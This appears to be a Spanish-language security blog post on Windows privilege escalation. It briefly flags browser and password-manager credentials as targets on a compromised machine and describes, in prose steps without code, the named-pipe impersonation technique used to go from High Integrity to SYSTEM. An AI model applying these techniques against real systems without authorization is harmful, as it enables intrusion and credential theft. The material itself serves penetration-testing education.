Los navegadores web que utilizan los usuarios de un sistema son una valiosa fuente de información y no solamente por el contenido correspondiente al historial de navegación o cookies, sino también las credenciales que se almacenan en los gestores de contraseñas. Además de esto, también es una práctica muy extendida utilizar programas de gestión de contraseñas en la nube o localmente, como es el caso de programas como LastPass, Bitwarden, PasswordSafe, KeePass2, KeePassX, etc. que también merece la pena investigar en el caso de el sistema comprometido tenga alguno de estos programas instalado.

 

Crear Named Pipes para saltar de «High Integrity» a «System».

Es una técnica muy extendida y de hecho, es una de las que se implementa en el comando «getsystem» de meterpreter. En primer lugar es necesario comprender que las pipes son un elemento habitual en sistemas operativos para ejecutar operaciones IPC (Inter Process Communication) y se trata simplemente de bloques de memoria cuyo único próposito es el de almacenar información que será compartida entre múltiples procesos. Las Named Pipes son un concepto introducido en sistemas Windows y que tienen una arquitectura cliente/servidor, en donde un servidor crear la Named Pipe y un cliente se puede conectar para leer/escribir datos en ella. En IPC evidentemente tanto cliente como servidor se encuentran ejecutandose en la máquina local, pero las Named Pipes pueden compartir recursos en máquinas remotas y en todo caso, se utiliza el protocolo SMB para la conexión e intercambio de información. El procedimiento para llevar a cabo esta técnica es simple y se resume en los siguientes pasos:

  1. Crea servicio el cual creará y se conectará a una Named Pipe.
  2. Desde el servicio, escribir cualquier cosa en la pipe. Es importante que la cuenta de usuario con la que se ha creado dicho servicio tenga el privilegio SeImpersonate.
  3. A continuación, un proceso cliente se debe conectar a la Named Pipe y leer el contenido que se ha puesto en dicho buffer
  4. En este punto el servicio puede invocar la función ImpersonateNamedPipeClient disponible en la API. Esta función, como su nombre indica, permite impersonalizar el contexto de seguridad del cliente y «establecerlo» en el hilo de ejecución principal del servidor, lo que se traducirá en una elevación de privilegios si el cliente que se conecta a la Named Pipe cuenta con privilegios de System.
  5. Finalmente, con el token del cliente impersonalizado se puede ejecutar las instrucciones que se quiera, como por ejemplo una shell.

Un buen recurso al que merece la pena dedicar unos minutos de lectura sobre este tópico, es el siguiente artículo: https://www.ired.team/offensive-security/privilege-escalation/windows-namedpipes-privilege-escalation

 

Se trata de un listado corto de algunas técnicas que se utilizan en elevación de privilegios en sistemas Windows, poco a poco se profundizará más y se emplearán otras herramientas y técnicas interesantes.

Un saludo y Happy Hack!
Adastra.